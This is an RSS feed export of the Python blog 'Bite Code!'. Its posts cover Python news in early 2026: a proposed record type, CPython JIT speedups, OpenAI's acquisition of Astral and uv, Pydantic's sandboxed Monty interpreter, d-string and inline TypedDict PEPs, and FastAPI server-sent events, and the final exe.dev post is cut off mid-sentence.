<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Bite code!]]></title><description><![CDATA[Nobody has time for Python]]></description><link>https://www.bitecode.dev</link><image><url>https://substackcdn.com/image/fetch/$s_!5S0K!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faca99feb-ddd9-4566-b7ad-19942ad90cf7_1280x1280.png</url><title>Bite code!</title><link>https://www.bitecode.dev</link></image><generator>Substack</generator><lastBuildDate>Tue, 28 Apr 2026 01:50:48 GMT</lastBuildDate><atom:link href="https://www.bitecode.dev/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Bite Code!]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[contact@bitecode.dev]]></webMaster><itunes:owner><itunes:email><![CDATA[contact@bitecode.dev]]></itunes:email><itunes:name><![CDATA[Bite Code!]]></itunes:name></itunes:owner><itunes:author><![CDATA[Bite Code!]]></itunes:author><googleplay:owner><![CDATA[contact@bitecode.dev]]></googleplay:owner><googleplay:email><![CDATA[contact@bitecode.dev]]></googleplay:email><googleplay:author><![CDATA[Bite Code!]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[What’s up Python? New record type, new JIT perfs, new Python rest lib...]]></title><description><![CDATA[All new baby]]></description><link>https://www.bitecode.dev/p/whats-up-python-new-record-type-new</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-new-record-type-new</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Tue, 31 Mar 2026 15:45:29 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/278e118d-1719-46c0-a356-31925d1145a8_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>Yes, yes, OpenAI bought Astral. We know. There is already <a href="https://astral.sh/blog/openai">an article dedicated to that</a>.</em></p><p><em>In other news:</em></p><ul><li><p><em>Core dev Brett Cannon published a PoC for a <a href="https://snarky.ca/my-proof-of-concept-record-type/">new Python record type</a></em></p></li><li><p><em><a href="https://fidget-spinner.github.io/posts/jit-on-track.html">The Python JIT is finally producing better perf</a></em></p></li><li><p><em>A new take on Rest API with Python: <a href="https://github.com/wemake-services/django-modern-rest">django modern rest</a>.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Brett Cannon&#8217;s PoC for a new Python record type</strong></h2><p>Last June, Brett Cannon published <a href="https://snarky.ca/proposing-a-struct-syntax/">a proposal to introduce a new struct object in Python</a>. I liked the idea because when you are on a Python code base with a lot of type hints, you have to declare a ton of disposable types you will use only for a single function. This is making such a situation less of an ordeal.</p><p>But it had a drawback: a new syntax and a new keyword. Two things that are quite hard to introduce to the project.</p><p>So Brett came back this month with a <a href="https://snarky.ca/my-proof-of-concept-record-type/">lib to create a record type</a> that <a href="https://pypi.org/project/record-type/">you can find on pypi</a>.</p><p>Now brace yourself, the syntax is weird:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;d38c3f14-869a-4e27-988c-83a5f76db6d9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">&gt;&gt;&gt; from records import record
...
... @record
... def InventoryItem(name: str, price: float, *, quantity: int = 0):
...     """Class for keeping track of an item in inventory."""
...
&gt;&gt;&gt; item = InventoryItem("Bread", 4, quantity=2)
&gt;&gt;&gt; item
InventoryItem(name='Bread', price=4, quantity=2)
&gt;&gt;&gt; item.name
'Bread'</code></pre></div><p>Yes, you read that well, we have a decorator on a function with camel case that gives us a constructor we use to generate the object, like a class would do.</p><p>It&#8217;s a proof of concept.</p><p>But it shows we can have a short typed definition for an object that requires no body to run, that explicitly says it&#8217;s not meant to be inherited, and that is immutable and hashable.</p><p>In fact, it defines <code>__slots__ </code>, <code>__match_args__ </code>, <code>__annotations__ </code>, <code>__eq__() </code>, <code>__hash__() </code>and <code>__repr__()</code> automatically. It&#8217;s more or less the equivalent of:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;d47c7362-58c7-4b6e-949c-0417d2c68805&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">from dataclasses import dataclass, KW_ONLY

@dataclass(frozen=True, slots=True)
class InventoryItem:
    """Class for keeping track of an item in inventory."""
    name: str
    price: float
    _: KW_ONLY
    quantity: int = 0</code></pre></div><p>Which is much more verbose.</p><p>I still prefer the struct proposal, which would give you:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;f3d26a33-bf56-4d96-bc4f-2d364b47377a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">struct InventoryItem(name: str, price: float, *, quantity: int = 0)</code></pre></div><p>It&#8217;s even shorter; the keyword makes it clear it&#8217;s meant to be an immutable record, and potentially, it could be inlined as a return value type hint. Something we know from <a href="https://peps.python.org/pep-0764/">PEP 764</a> (inlined typed dicts) is interesting to a few people already.</p><h2><strong>Django Modern Rest, an interesting take on APIs</strong></h2><p>The Python world is rich with options to create Web API. <a href="https://fastapi.tiangolo.com/">FastApi</a> is super popular, <a href="https://www.django-rest-framework.org/">Django Rest framework</a> is surprisingly still very much used, and <a href="https://django-ninja.dev/">Django-ninja</a> has gained in popularity over the last year.</p><p>Well, a new contender joined the party: <a href="https://github.com/wemake-services/django-modern-rest">Django Modern Rest</a>.</p><p>Like django-ninja, it takes inspiration from FastAPI type hint introspection to create a similar look and feel in Django, albeit using class-based views instead of functions.</p><p>But instead of only supporting <a href="https://github.com/wemake-services/django-modern-rest">pydantic</a> models to define your endpoints&#8217; schema, it also supports <a href="https://www.attrs.org/en/stable/index.html">attrs</a> and <a href="https://pypi.org/project/msgspec/">msgspec</a>.</p><p>The latter is the selling point of the framework, because this library claims it is capable of parsing AND validating JSON faster than <a href="https://github.com/ijl/orjson">orjson</a> (one of the fastest JSON parsers out there) can just parse it. On top of that, it also supports MessagePack for micro services.</p><p>I haven&#8217;t verified those claims, and the framework is a bit too new for me to try it out in a serious project just yet. Not to mention my code is usually I/O bound, generally by the DB queries, so I&#8217;m not sure how much I would get by adopting this.</p><p>But the project philosophy is clear, API makes sense, and the docs are nice, so I&#8217;m going to keep an eye on it.</p><h2><strong>The new JIT is finally Jitting</strong></h2><p>For several versions, Python came in with a built-in Just In Time compiler similar to Pypi. So far it was touted mostly as infrastructure work, without producing much performance improvement.</p><p>It was expected to be harder to get massive gains from it, because of the additional constraints of needing to support C-extensions and not slowing down startup time for small script.</p><p>But <a href="https://fidget-spinner.github.io/posts/jit-on-track.html">it finally happened</a>, the Python 3.15 alpha JIT is now officially about 11-12% faster on macOS AArch64 than the tail calling interpreter, and 5-6% faster than the standard interpreter on x86_64 Linux.</p><p>You won&#8217;t get those perf gains for all workload as they are average over many tasks, which can show from 20% slowdowns to doubling the speed, so your mileage will vary, but it&#8217;s still some pretty good news considering they are adding up to the few gains of the last Python versions:</p><ul><li><p>3.11: +25&#8211;30%</p></li><li><p>3.12: +3&#8211;7%</p></li><li><p>3.13: +2&#8211;5%</p></li><li><p>3.14: +5&#8211;10%</p></li></ul><p>If we add 10% on top of that, we compound to 60% faster in 5 years. Far away from the 500% initially desired, but still significant.</p><p>But apparently, even those results were very hard to obtain:</p><blockquote><p>I cannot overstate how tough this was. There was a point where I was seriously wondering if the JIT project would ever produce meaningful speedups. To recap, the original CPython JIT had practically no speedups: 8 months ago I posted a JIT reflections article on how the original CPython JIT in 3.13 and 3.14 was often slower than the interpreter. That was also around the time where the Faster CPython team lost funding by its main sponsor.</p></blockquote><h2><strong>And Moar</strong></h2><ul><li><p>Django ninja, my current go-to for creating Web API, <a href="https://github.com/vitalik/django-ninja/releases/tag/v1.6.0b1">landed SSE support.</a></p></li><li><p>I just discovered <a href="https://github.com/psu3d0/formualizer">formualiazer</a>, a Rust and Python engine to manipulate spreadsheets that can parse, evaluat,e and mutate formulas!</p></li><li><p>HTTPX and MKDocs&#8217; author <a href="https://www.reddit.com/r/Python/comments/1s0gfyb/the_slow_collapse_of_mkdocs/">is worrying the </a>.</p></li><li><p><a href="https://github.com/davidmonterocrespo24/velxio">Velxio 2 is out</a> to let you emulate Raspi and Esp32 in the web browser. And yes, you can simulate attaching components to GPIO and run Python code.</p></li><li><p>Python <a href="https://blog.python.org/2026/02/python-3143-and-31312-are-now-available/">3.14.3</a>, <a href="https://blog.python.org/2026/03/python-31213-31115-31020/">3.12.13, 3.11.15 and 3.10.20</a> are available.</p></li><li><p><a href="https://blog.python.org/2026/03/python-3150-alpha-7/">Python 3.15 alpha has been released</a>, should you want to test it. But lazy imports are not in there yet.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">I&#8217;m going on holiday right now. Who knows when the next article will come out? Well, there is a way to know&#8230;</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[OpenAI bought Astral, will I keep using uv?]]></title><description><![CDATA[Have you noticed nobody asks this about ruff?]]></description><link>https://www.bitecode.dev/p/openai-bought-astral-will-i-keep</link><guid isPermaLink="false">https://www.bitecode.dev/p/openai-bought-astral-will-i-keep</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Mon, 23 Mar 2026 17:41:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/50429a2c-0d72-469c-b0c2-28cc0c09a971_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>ChatGPT makers acquired the company behind </em><code>uv</code><em>, which has become an incredibly popular and critical part of Python tooling in a very short time, despite worries about its sustainability.</em></p><p><em>So, will I keep using </em><code>uv</code><em>?</em></p><p><em>Yes.</em></p><p><em>It&#8217;s easy to leave </em><code>uv</code><em> if anything goes wrong in the future, I don&#8217;t bet that much will, not to mention <a href="https://lucumr.pocoo.org/2024/8/21/harvest-season/#:~:text=even%20in%20the%20worst%20possible%20future%20this%20is%20a%20very%20forkable%20and%20maintainable%20thing%2E">it&#8217;s very forkable</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Everything is terrible</strong></h2><p><a href="https://openai.com/index/openai-to-acquire-astral/">OpenAI, the company behind ChatGPT, has bought Astral, the makers of ruff, ty and uv.</a></p><p>It created a lot of turmoil in the Python community because:</p><ul><li><p><code>uv</code> is an amazing tool that solved extremely well the most important set of problems of the modern Python ecosystem.</p></li><li><p>It has taken the world by storm, being adopted in a blink by a whole lot of people.</p></li><li><p>Since the begining, many voices raised their worries about Astral, a VC-funded startup, being at risk of failing to sustain itself and provide a stable future for <code>uv</code>.</p></li><li><p>AI in general is a controversial topic. It not only comes with its own ethical challenges, but the hype around it means it creeps everywhere, nourishing aversion from detractors even more.</p></li><li><p>OpenAI itself has been subject to many critics as an actor in the space from the moment it moved from non-profit to private corporation to the most recent deal with the military industry.</p></li></ul><p>Oh boy, that&#8217;s a lot!</p><p>While I always kept in my mind the possibilities that Astral got bought, as a logical and quite common path for this type of structure, I really didn&#8217;t see coming that Sam Altman would pick it up. And yet, Anthropic, OpenAI&#8217;s biggest competitor with Claude, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">recently acquired </a><code>bun</code> (from the JS world), so there is a precedent.</p><p>Since all parties involved are certainly neck deep into an NDA, it&#8217;s impossible to know for sure the rationale behind this move. But Codex, the answer to Claude Code, is written in Rust, like <code>uv</code>, while the latter is written in JavaScript. So maybe it&#8217;s all talent acquisition. Maybe there is a Python strategy behind the move, as AI relies on it a lot of a lot. Or maybe it&#8217;s the biggest play with packaging in mind, given everybody and their mothers want to become a platform now. Gotta get this sweet, sweet, app store 30%.</p><p>But it&#8217;s all speculation, and I don&#8217;t know how much we can trust the PR, but we do have this nugget from the announcement:</p><blockquote><p>Our goal with Codex is to move beyond AI that simply generates code and toward systems that can participate in the entire development workflow&#8212;helping plan changes, modify codebases, run tools, verify results, and maintain software over time. Astral&#8217;s developer tools sit directly in that workflow. By integrating these systems with Codex after closing, we will enable AI agents to work more directly with the tools developers already rely on every day.</p></blockquote><p>I&#8217;d say we are living wild times, but given what&#8217;s happening right now outside of the tech sphere, this would be an understatement.</p><p>So let&#8217;s focus on what I can actually control, shall we?</p><p>Will I keep using <code>uv</code>?</p><p>Well...</p><h2><strong>Yes</strong></h2><p>It&#8217;s basically a low-risk bet for a huge value. <code>uv</code> is fantastic, going back to something else would be a serious downgrade.</p><p>But it would not be hard.</p><p>Migrating to <code>uv</code> is super simple. And migrating back from it is not much harder. After all, it&#8217;s mostly <code>pip</code> compatible, and it can import/export standard formats.</p><p>It just means using again <code>pip</code> and <code>venv</code>, tools I used for a decade, and I still use for several of my current clients. That&#8217;s not really a cause for alarm.</p><p>In fact, if you have to, I just updated <a href="https://www.bitecode.dev/p/back-to-basics-with-pip-and-venv">the article on how to use them.</a></p><p>So if anything goes wrong, I have a backup plan.</p><p>But that&#8217;s the thing. Nothing went wrong yet.</p><p>And I don&#8217;t have many reasons to think that things will go wrong.</p><p>First, it&#8217;s unlikely OpenAI wants to destroy and downgrade a product they paid a lot of money for. They are not Microsoft; they are still very competent, no matter how you view their moral compass. As long as <code>uv</code> stays the same, even if it doesn&#8217;t add anything, it&#8217;s already amazing.</p><p>The biggest risk is <a href="https://github.com/astral-sh/python-build-standalone">python-build-standalone</a>, but it existed before <code>uv</code>. <a href="https://discuss.python.org/t/openai-to-acquire-astral/106605/49">Astral made sure to contribute improvements upstream, and the Python core devs have been interested in providing portable executables for a long time</a>. The probability this becomes a choke point is not zero, but it&#8217;s not code red in my book.</p><p>This means  <code>uv</code> can likely be used for the next 5 years without little to no modification, which, of course, I&#8217;m not thinking will happen anyway.</p><p>Second, it&#8217;s under MIT licence. If it gets enshittified, it&#8217;s going to get forked. Hell, <a href="https://github.com/duriantaco/fyn">it&#8217;s been forked right now!</a> And it already had 2800 forks on Github before the announcement.</p><p>But again, it&#8217;s not high on my contingency list.  <code>uv</code> is a CLI tool. It&#8217;s more advantageous to keep it good and use that to sell stuff to users than to make it bad for a few bucks. </p><p>In fact, Charlie Marsh insisted:</p><blockquote><p>OpenAI will continue supporting our open source tools after the deal closes. We&#8217;ll keep building in the open, alongside our community -- and for the broader Python ecosystem -- just as we have from the start.  </p></blockquote><p>I know, I know, it&#8217;s just words. But they are the right ones.</p><h2><strong>How do I deal with the ethical ramifications of my decision then?</strong></h2><p>Nope, I&#8217;m on a tech blog.</p><p>I&#8217;m not getting into philosophy and politics.</p><p>If you want my personal opinion on the matter, come to the south of France and buy me a drink.</p><p>But then, will I encourage people to keep using <code>uv</code>?</p><p>Well...</p><h2><strong>Yes</strong></h2><p>I still think it&#8217;s the tool that almost everyone should be using. I don&#8217;t see a <em>technical</em> reason for people who need it and can use it to suffer from its absence. Worst-case scenario, they have to drop it later. The effort to do so is marginally more than not using it in the first place, and has a high chance of never happening.</p><p>Also, while I understand the opposing arguments, I also know that outrage, catastrophizing, and virtue signaling are huge driving forces these days, and I want to stay as far away as I can from them for my own sanity.</p><p>Since I also wish others the best, I&#8217;d rather just tell everyone to keep uving.</p><p>If I&#8217;m wrong, so what? They&#8217;ll save months of pain by using it until the very last minute, when it&#8217;s not tenable anymore.</p><p>I&#8217;m good with that.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">I got a great offer from Palantir to buy the blog, but I need 5 million subscribers. Let&#8217;s make a better world together!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What’s up Python? d-strings, SSE in Pydantic and... a new Python?]]></title><description><![CDATA[Not sure if LLM or aging make time go faster]]></description><link>https://www.bitecode.dev/p/whats-up-python-d-strings-sse-in</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-d-strings-sse-in</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Tue, 10 Mar 2026 08:55:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/004bf7f3-c9b1-47b6-b0b3-31cc5366a43e_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Summary</strong></h1><p><em>Wow, it&#8217;s March already?</em></p><p><em>I blinked, and a whole month passed while:</em></p><ul><li><p><em>Pydantic decided to rewrite Python just in case AI turns out to be useful.</em></p></li><li><p><em>FastAPI when full retro and implemented a tech from the 2000&#8217; for notifications and giggles.</em></p></li><li><p><em>d-strings appeared out of nowhere. Because t-strings and f-strings are so last year.</em></p></li><li><p><em>And we may have inline dictionary type hints now.</em></p></li><li><p>Substack finally added code coloration \o/</p></li></ul><p><em>Ok. Ok. I&#8217;m ready.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Pydantic creates a whole new Python implementation</strong></h2><p>Pydantic started as <a href="https://docs.pydantic.dev/latest/">a validation library</a>. Then the team moved to release Logfire, an <a href="https://logfire-eu.pydantic.dev/login">observability SaaS</a>. And, still using the validation models as a way to structure inputs and outputs, they came up with <a href="https://ai.pydantic.dev/">an AI workflow library.</a></p><p>It&#8217;s already Game of Thrones level of character development here, but then Samuel Colvin went on to announce that they have created Monty, <a href="https://github.com/pydantic/monty/">an entirely new Python implementation in Rust</a>.</p><p>Now this is a twist!</p><p>They have been using and advocating for AI coding for some time, hence Pydantic AI, and the AI capabilities in LogFire. One of the challenges with AI is to:</p><ul><li><p>Get reliable results.</p></li><li><p>Fast, without burning through a lot of tokens.</p></li><li><p>Without exposing yourself wide open.</p></li></ul><p>There is a race to provide the platform that will give programmers the best experience for this. Projects like <a href="https://github.com/earendil-works/gondolin">godonlin</a> and <a href="https://github.com/textcortex/spritz">spritz</a> are popping right and left.</p><p>The thesis of Pydantic&#8217;s team is that models are more efficient when programming than when trying to stitch together a bunch of CLI tools or calling MCP. Something that <a href="https://openclaw.ai/">OpenClaw</a> hinted at.</p><p>So they went on and created a new Python VM that:</p><ul><li><p>Is completely sandboxed. By default, it can&#8217;t do I/O, system calls, etc. You have to give it permissions and provide implementations.</p></li><li><p>Starts under 1&#956;s.</p></li><li><p>Can be paused and resumed.</p></li><li><p>Can be snapshotted (you can save its entire state to disk, and reload it).</p></li><li><p>Can be called from Rust, Python, or Javascript. </p></li><li><p>Can control RAM usage and execution time.</p></li></ul><p>Of course, to be able to do all that, Monty doesn&#8217;t implement the entirety of Python. Right now, it doesn&#8217;t even have classes, and can only access a small subset of the standard library.</p><p>In this sense, it has a bit of the characteristics of:</p><ul><li><p>Pyiodide for the full sandbox</p></li><li><p>Starlark for the selective exposure of features. Remember, <a href="https://www.bitecode.dev/p/pepsi-when-they-dont-have-coke">we had an article on this</a>.</p></li><li><p>Docker for the ability to mount scoped filesystems and snapshotting.</p></li><li><p>MicroPython for the small footprints and fast startup.</p></li></ul><p>You can install it with <code>pip install pydantic-monty</code>, and start sending code to it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;5018d12e-72c5-4f28-b80f-2d1d8c56dcd5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">&gt;&gt;&gt; import pydantic_monty
&gt;&gt;&gt; limits = pydantic_monty.ResourceLimits(max_duration_secs=5.0, max_memory=1024 * 1024)
&gt;&gt;&gt; vm = pydantic_monty.Monty('x * y * z', inputs=['x', 'y', 'z'])
&gt;&gt;&gt; result = vm.run(inputs={"x": 2, "y": 3, "z": 4}, limits=limits)
&gt;&gt;&gt; print(f'Calculation with generous limits: {result}')
Calculation with generous limits: 24</code></pre></div><p>Give the very alpha status of the tech, expect lots of bugs.</p><p>It&#8217;s a bit of a weird beast, and honestly, I don&#8217;t know if it&#8217;s going to be the ideal interface for LLM it&#8217;s supposed to be, but I don&#8217;t care because even outside of AI, it has wild potential!</p><p>You can use it as a user-exposed scripting language, and risk nothing while offering a full-featured programming language for custom behavior.</p><p>You can use it for small devices that need to be switched on and off often because, hey, it starts fast, and it can be snapshotted.</p><p>It&#8217;s in Rust, so you can WASM it, which means you could use that to program in Python in the browser.</p><p>And of course, as a configuration language to replace Starlark.</p><p>It&#8217;s a bold strategy Cotton. Let&#8217;s see if it pays off...</p><h2><strong>PEP 821, a proposal for a dedented strings</strong></h2><p>You know how creating multi-line strings suck in Python?</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;2e934755-e446-48d2-8722-b99d742574c5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">&gt;&gt;&gt; def broken_description():
...     return """
...         This is a superb text
...         but it will be completely
...         indented.
...     """
...
... print(broken_description())
...
... def ugly_but_correct():
...     return """This is a superb text
... but it will be completely
... indented."""
...
... print(ugly_but_correct())

        This is a superb text
        but it will be completely
        indented.

This is a superb text
but it will be completely
indented.</code></pre></div><p>We do have the <code>dedent</code> function, but do you really know how to use it?</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;229a556e-6b68-4576-87cf-4808de1a84c1&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">&gt;&gt;&gt; from textwrap import dedent
...
... def are_you_sure():
...
...     return dedent(
...     """This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(are_you_sure())
...
... def like_this_maybe():
...
...     return dedent("""This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(like_this_maybe())
...
... def no_it_was_like_this():
...     # need a backslash to avoid additional line break
...     return dedent("""\
...         This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(no_it_was_like_this())
This is a superb text
        but it will be completely
        indented.

This is a superb text
        but it will be completely
        indented.

This is a superb text
but it will be completely
indented.</code></pre></div><p>So, the PEP proposal is to add d-strings:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;3d2da788-762d-46a6-b0ef-dbc7e6511147&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"> def nice_solution():
    return d"""
        This is a superb text
        but it will be completely
        indented.
    """</code></pre></div><p>It&#8217;s very natural, doesn&#8217;t require an import, is nicely dedented and will not require <code>\</code> to avoid a sneaky line break. It also removes indentation BEFORE processing escape sequences, allowing the use of continuations with <code>\</code>  if you want to.</p><p>Can&#8217;t wait to use <code>rdt"{}"</code> in a codebase. Hitting 3.15, hopefully.</p><h2><strong>PEP 764 &#8211; Inline typed dictionaries</strong></h2><p><a href="https://peps.python.org/pep-0764/">This one</a> is simple.</p><p>You know how it&#8217;s really verbose to type a little dictionary in Python?</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;9ceb16a4-da57-46d0-a7a5-c5ca2162b9b5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">from typing import TypedDict

class MovieDict(TypedDict):
    name: str:
    year: int

def get_movie() -&gt; MovieDict:
    return {
        'name': 'Blade Runner',
        'year': 1982,
    }
</code></pre></div><p>Well, this PEPS says let&#8217;s skip the intermediary:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;9a7d270c-5bae-4cc0-9b24-8b7668556527&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">from typing import TypedDict

def get_movie() -&gt; TypedDict[{'name': str, 'year': int}]:

    return {
        'name': 'Blade Runner',
        'year': 1982,
    }</code></pre></div><p>Yes, please.</p><h2><strong>Fast API gets Server Side Events</strong></h2><p>Sometimes, you want to notify the browser in real time, and you don&#8217;t want to setup a full duplex communication and deal with the disconnections that come with that, plus the stateful nature of the whole deal.</p><p>I know, right?</p><p>What I mean is that 99% of the time, you don&#8217;t want websockets, you just want to say &#8220;hey browser, I got something new&#8221; and that&#8217;s it.</p><p>For this, there is an old tech called Server Side Event, that lets the browser just do a basic HTTP request to your server, and then keep a connection alive to get a stream of events.</p><p>Seems simple. Easy. Could solve tons of sync and notification problems.</p><p>And it is. And it does.</p><p>SSE are the forgotten child of the Web, and an undervalued tool that can do a lot with very little.</p><p>And finally, <a href="https://fastapi.tiangolo.com/tutorial/server-sent-events/">FastAPI lets you use them</a>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;ca2947c5-405e-48d3-9e0e-3d08d2069c57&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">from collections.abc import AsyncIterable, Iterable

from fastapi import FastAPI
from fastapi.sse import EventSourceResponse
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    name: str
    description: str | None


items = [
    Item(name="Plumbus", description="A multi-purpose household device."),
    Item(name="Portal Gun", description="A portal opening device."),
    Item(name="Meeseeks Box", description="A box that summons a Meeseeks."),
]

# When a browser does a GET on this, it will receive the results as a stream
# of events
@app.get("/items/stream", response_class=EventSourceResponse)
async def sse_items() -&gt; AsyncIterable[Item]:
    # There can be minutes between yields in real like. Here they are
    # one after the other, but you can imagine items as beeing a generator
    # fetching from any source of events
    for item in items:
        yield item
</code></pre></div><p>On the JS side, calling it would look like this:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;javascript&quot;,&quot;nodeId&quot;:&quot;030facea-2afa-44dd-90be-7339b6b2ce2c&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-javascript">const source = new EventSource("http://your_website.tld/logs/stream");

// This will pop for each item you yield
// Data is in the JSON format by default
source.onmessage = (event) =&gt; {
  console.log("log line:", event.data);
};</code></pre></div><p>SSE has the nice quality of working through most proxies, being cacheable, using a standard port, and transparently working with regular keep-alive infra without having complicated reconnection semantics on the Python side.</p><p>It&#8217;s basically polling, without the overhead.</p><p>Hope we&#8217;ll get a good story for it one day in Django. Would be nice to catch up with 2009 innovations.</p><p>Which was 17 years ago, in case you forgot how bloody old you are.</p><h2><strong>And Moar</strong></h2><ul><li><p><a href="https://peps.python.org/pep-0821/">PEP 821</a> suggests a new type hints: <code>Unpack[TypedDict]</code>. The goal is to be able to type <code>**kwargs</code> without the verbosity of a protocol.</p></li><li><p>The Python dev survey is here. <a href="https://surveys.jetbrains.com/s3/python-developers-survey-2026">Give a piece of your mind</a>.</p></li><li><p><a href="https://peps.python.org/pep-0747/">PEP 747 - Annotating Type Forms</a> has been <a href="https://discuss.python.org/t/pep-747-typeexpr-type-hint-for-a-type-expression/55984/103">accepted</a>. This is a bit meta, as those are types meant to type function that accept types as parameters. Libraries like attrs and pydantic need this. You probably don&#8217;t.</p></li></ul>]]></content:encoded></item><item><title><![CDATA[exe.dev: a new hosting solution for your prototypes]]></title><description><![CDATA[Being unproductive has never been so well instrumented]]></description><link>https://www.bitecode.dev/p/exedev-a-new-hosting-solution-for</link><guid isPermaLink="false">https://www.bitecode.dev/p/exedev-a-new-hosting-solution-for</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Tue, 17 Feb 2026 06:41:13 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/300f9833-e9bd-4633-b2de-654ea3e43371_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em><a href="https://exe.dev/">exe.dev</a> is a new service that is a weird cross-over between a VPS, Heroku, and a local Docker pod.</em></p><p><em>You ssh to it. You ask nicely to get a new VM. And you get it in 5 